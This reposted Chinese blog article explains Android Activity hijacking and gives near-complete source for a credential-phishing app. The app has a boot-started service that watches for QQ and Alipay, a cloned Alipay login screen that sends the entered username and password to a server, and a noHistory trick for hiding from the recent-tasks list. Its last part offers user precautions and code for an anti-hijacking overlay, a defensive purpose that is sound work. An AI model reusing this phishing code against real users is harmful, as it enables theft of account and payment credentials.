activity劫持反劫持
1、Activity調度機制
android為了提高用戶的用戶體驗,對于不同的應用程序之間的切換,基本上是無縫。他們切換的只是一個activity,讓切換的到前臺顯示,另一個應用則被覆蓋到后臺,不可見。Activity的概念相當于一個與用戶交互的界面。而Activity的調度是交由Android系統中的AmS管理的。AmS即ActivityManagerService(Activity管理服務),各個應用想啟動或停止一個進程,都是先報告給AmS。?當AmS收到要啟動或停止Activity的消息時,它先更新內部記錄,再通知相應的進程運行或停止指定的Activity。當新的Activity啟動,前一個Activity就會停止,這些Activity都保留在系統中的一個Activity歷史棧中。每有一個Activity啟動,它就壓入歷史棧頂,并在手機上顯示。當用戶按下back鍵時,頂部Activity彈出,恢復前一個Activity,棧頂指向當前的Activity。?
2、Android設計上的缺陷——Activity劫持?
如果在啟動一個Activity時,給它加入一個標志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現給用戶。?
但是這樣的設計卻有一個缺陷。如果這個Activity是用于盜號的偽裝Activity呢??
在Android系統當中,程序可以枚舉當前運行的進程而不需要聲明其他權限,這樣子我們就可以寫一個程序,啟動一個后臺的服務,這個服務不斷地掃描當前運行的進程,當發現目標進程啟動時,就啟動一個偽裝的Activity。如果這個Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。?
?一個運行在后臺的服務可以做到如下兩點:1,決定哪一個activity運行在前臺 ?2,運行自己app的activity到前臺。
?這樣,惡意的開發者就可以對應程序進行攻擊了,對于有登陸界面的應用程序,他們可以偽造一個一模一樣的界面,普通用戶根本無法識別是真的還是假。用戶輸入用戶名和密碼之后,惡意程序就可以悄無聲息的把用戶信息上傳到服務器了。這樣是非常危險的。
實現原理:如果我們注冊一個receiver,響應android.intent.action.BOOT_COMPLETED,使得開啟啟動一個service;這個service,會啟動一個計時器,不停枚舉當前進程中是否有預設的進程啟動,如果發現有預設進程,則使用FLAG_ACTIVITY_NEW_TASK啟動自己的釣魚界面,截獲正常應用的登錄憑證。
3、示例?
下面是示例代碼。?
AndroidManifest.xml文件的代碼。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.sinaapp.msdxblog.android.activityhijacking"android:versionCode="1"android:versionName="1.0" ><uses-sdk android:minSdkVersion="4" /><uses-permission android:name="android.permission.INTERNET" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /><applicationandroid:name=".HijackingApplication"android:icon="@drawable/icon"android:label="@string/app_name" ><activityandroid:name=".activity.HijackingActivity"android:theme="@style/transparent"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><activity android:name=".activity.sadstories.JokeActivity" /><activity android:name=".activity.sadstories.QQStoryActivity" /><activity android:name=".activity.sadstories.AlipayStoryActivity" /><receiverandroid:name=".receiver.HijackingReceiver"android:enabled="true"android:exported="true" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /></intent-filter></receiver><service android:name=".service.HijackingService" ></service></application></manifest>
在以上的代碼中,聲明了一個服務service,用于枚舉當前運行的進程。其中如果不想開機啟動的話,甚至可以把以上receiver部分的代碼,及聲明開機啟動的權限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問網絡的權限(向外發送獲取到的賬號密碼),單從AndroidManifest文件是看不出任何異常的。?
下面是正常的Activity的代碼。在這里只是啟動用于Activity劫持的服務。如果在上面的代碼中已經聲明了開機啟動,則這一步也可以省略。?
? package com.sinaapp.msdxblog.android.activityhijacking.activity;import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log;import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;public class HijackingActivity extends Activity {/** Called when the activity is first created. */@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.main);Intent intent2 = new Intent(this, HijackingService.class);startService(intent2);Log.w("hijacking", "activity啟動用來劫持的Service");} }
如果想要開機啟動,則需要一個receiver,即廣播接收器,在開機時得到開機啟動的廣播,并在這里啟動服務。如果沒有開機啟動(這跟上面至少要實現一處,不然服務就沒有被啟動了),則這一步可以省略。
/** @(#)HijackingBroadcast.java Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.android.activityhijacking.receiver;import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class HijackingReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {Log.w("hijacking", "開機啟動");Intent intent2 = new Intent(context, HijackingService.class);context.startService(intent2);Log.w("hijacking", "啟動用來劫持的Service");}} }
下面這個HijackingService類可就關鍵了,即用來進行Activity劫持的。?
在這里,將運行枚舉當前運行的進程,發現目標進程,彈出偽裝程序。?
代碼如下:
/** @(#)HijackingService.java Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.android.activityhijacking.service;import java.util.HashMap; import java.util.List;import android.app.ActivityManager; import android.app.ActivityManager.RunningAppProcessInfo; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.IBinder; import android.util.Log;import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class HijackingService extends Service {private boolean hasStart = false;// 這是一個悲傷的故事……HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();// Timer mTimer = new Timer();Handler handler = new Handler();Runnable mTask = new Runnable() {@Overridepublic void run() {ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();// 枚舉進程Log.w("hijacking", "正在枚舉進程");for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {// 如果APP在前臺,那么——悲傷的故事就要來了if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {if (mSadStories.containsKey(appProcessInfo.processName)) {// 進行劫持hijacking(appProcessInfo.processName);} else {Log.w("hijacking", appProcessInfo.processName);}}}handler.postDelayed(mTask, 1000);}/*** 進行劫持* @param processName*/private void hijacking(String processName) {Log.w("hijacking", "有程序要悲劇了……");if (((HijackingApplication) getApplication()).hasProgressBeHijacked(processName) == false) {Log.w("hijacking", "悲劇正在發生");Intent jackingIsComing = new Intent(getBaseContext(),mSadStories.get(processName));jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);getApplication().startActivity(jackingIsComing);((HijackingApplication) getApplication()).addProgressHijacked(processName);Log.w("hijacking", "已經劫持");}}};@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onStart(Intent intent, int startId) {super.onStart(intent, startId);if (!hasStart) {mSadStories.put("com.sinaapp.msdxblog.android.lol",JokeActivity.class);mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);mSadStories.put("com.eg.android.AlipayGphone",AlipayStoryActivity.class);handler.postDelayed(mTask, 1000);hasStart = true;}}@Overridepublic boolean stopService(Intent name) {hasStart = false;Log.w("hijacking", "劫持服務停止");((HijackingApplication) getApplication()).clearProgressHijacked();return super.stopService(name);} }
下面是支付寶的偽裝類(布局文件就不寫了,這個是對老版本的支付寶界面的偽裝,新的支付寶登錄界面已經完全不一樣了。表示老版本的支付寶的界面相當蛋疼,讀從它反編譯出來的代碼苦逼地讀了整個通宵結果還是沒讀明白。它的登錄界面各種布局蛋疼地嵌套了十層,而我為了實現跟它一樣的效果也蛋疼地嵌套了八層的組件)。
/** @(#)QQStoryActivity.java Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; import android.text.Html; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView;import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class AlipayStoryActivity extends Activity {private EditText name;private EditText password;private Button mBtAlipay;private Button mBtTaobao;private Button mBtRegister;private TextView mTvFindpswd;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);this.setTheme(android.R.style.Theme_NoTitleBar);setContentView(R.layout.alipay);mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);mBtRegister = (Button) findViewById(R.id.alipay_bt_register);mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]"));mBtAlipay.setSelected(true);name = (EditText) findViewById(R.id.input_name);password = (EditText) findViewById(R.id.input_password);}public void onButtonClicked(View v) {switch (v.getId()) {case R.id.alipay_bt_login:HandlerThread handlerThread = new HandlerThread("send");handlerThread.start();new Handler(handlerThread.getLooper()).post(new Runnable() {@Overridepublic void run() {// 發送獲取到的用戶密碼SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), "支付寶");}});moveTaskToBack(true);break;case R.id.alipay_bt_alipay:chooseToAlipay();break;case R.id.alipay_bt_taobao:chooseToTaobao();break;default:break;}}private void chooseToAlipay() {mBtAlipay.setSelected(true);mBtTaobao.setSelected(false);name.setHint(R.string.alipay_name_alipay_hint);mTvFindpswd.setVisibility(View.VISIBLE);mBtRegister.setVisibility(View.VISIBLE);}private void chooseToTaobao() {mBtAlipay.setSelected(false);mBtTaobao.setSelected(true);name.setHint(R.string.alipay_name_taobao_hint);mTvFindpswd.setVisibility(View.GONE);mBtRegister.setVisibility(View.GONE);} }
上面的其他代碼主要是為了讓界面的點擊效果與真的支付寶看起來盡量一樣。主要的代碼是發送用戶密碼的那一句。?
至于SendUtil我就不提供了,它是向我寫的服務器端發送一個HTTP請求,將用戶密碼發送出去。?
下面是我在學校時用來演示的PPT及APK。?
演示文檔和APK
4、用戶防范?
android手機均有一個HOME鍵(即小房子的那個圖標),長按可以看到近期任務 對于我所用的HTC G14而言,顯示的最近的一個是上一個運行的程序。小米顯示的最近的一個是當前運行的程序。所以,在要輸入密碼進行登錄時,可以通過長按HOME鍵查看近期任務,以我的手機為例,如果在登錄QQ時長按發現近期任務出現了QQ,則我現在的這個登錄界面就極有可能是偽裝了,切換到另一個程序,再查看近期任務,就可以知道這個登錄界面是來源于哪個程序了。?
如果是小米手機的話,在進行登錄時,如果查看的近期任務的第一個不是自己要登錄的那個程序的名字,則它就是偽裝的。?
而且這種方法也不是絕對的 ?可以在AndroidManifest中相應activity下添加android:noHistory="true"這樣就不會把偽裝界面顯示在最近任務中
5、反劫持
然而,如果真的爆發了這種惡意程序,我們并不能在啟動程序時每一次都那么小心去查看判斷當前在運行的是哪一個程序,當android:noHistory="true"時上面的方法也無效 ??因此,前幾個星期花了一點時間寫了一個程序,叫反劫持助手。原理很簡單,就是獲取當前運行的是哪一個程序,并且顯示在一個浮動窗口中,以幫忙用戶判斷當前運行的是哪一個程序,防范一些釣魚程序的欺騙。
在這一次,由于是“正當防衛”,就不再通過枚舉來獲取當前運行的程序了,在manifest文件中增加一個權限:?
android權限
<uses-permission android:name="android.permission.GET_TASKS" /> 然后啟動程序的時候,啟動一個Service,在Service中啟動一個浮動窗口,并周期性檢測當前運行的是哪一個程序,然后顯示在浮動窗口中。?
程序截圖如下:?
其中Service代碼如下:
/** @(#)AntiService.java Project:ActivityHijackingDemo* Date:2012-9-13** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.antihijacking.service;import android.app.ActivityManager; import android.app.Notification; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.util.Log;import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory; import com.sinaapp.msdxblog.antihijacking.AntiConstants; import com.sinaapp.msdxblog.antihijacking.view.AntiView;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class AntiService extends Service {private boolean shouldLoop = false;private Handler handler;private ActivityManager am;private PackageManager pm;private Handler mainHandler;private AntiView mAntiView;private int circle = 2000;@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onStart(Intent intent, int startId) {super.onStart(intent, startId);startForeground(19901008, new Notification());if (intent != null) {circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);} Log.i("circle", circle + "ms");if (true == shouldLoop) {return;}mAntiView = new AntiView(this);mainHandler = new Handler() {public void handleMessage(Message msg) {String name = msg.getData().getString("name");mAntiView.setText(name);};};pm = getPackageManager();shouldLoop = true;am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread("anti")) {@Overridepublic void handleMessage(Message msg) {super.handleMessage(msg);String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName();try {String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName,PackageManager.GET_META_DATA)).toString();updateText(progressName);} catch (NameNotFoundException e) {e.printStackTrace();}if (shouldLoop) {handler.sendEmptyMessageDelayed(0, circle);}}};handler.sendEmptyMessage(0);}private void updateText(String name) {Message message = new Message();Bundle data = new Bundle();data.putString("name", name);message.setData(data);mainHandler.sendMessage(message);}@Overridepublic void onDestroy() {shouldLoop = false;mAntiView.remove();super.onDestroy();}}
浮動窗口僅為一個簡單的textview,非此次的技術重點,在這里省略不講。?
當然,從以上代碼也可以看出本程序只能防范通過Activity作為釣魚界面的程序,因為它是通過運行的頂層的Activity來獲取程序名稱的,對WooYun最近提到的另一個釣魚方法它還是無能為力的,關于這一點將在下次談。?
總結
以上是生活随笔為你收集整理的activity劫持反劫持的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 转载:日本动漫编年史
- 下一篇: 学习笔记(4):思科CCNA模拟器Pac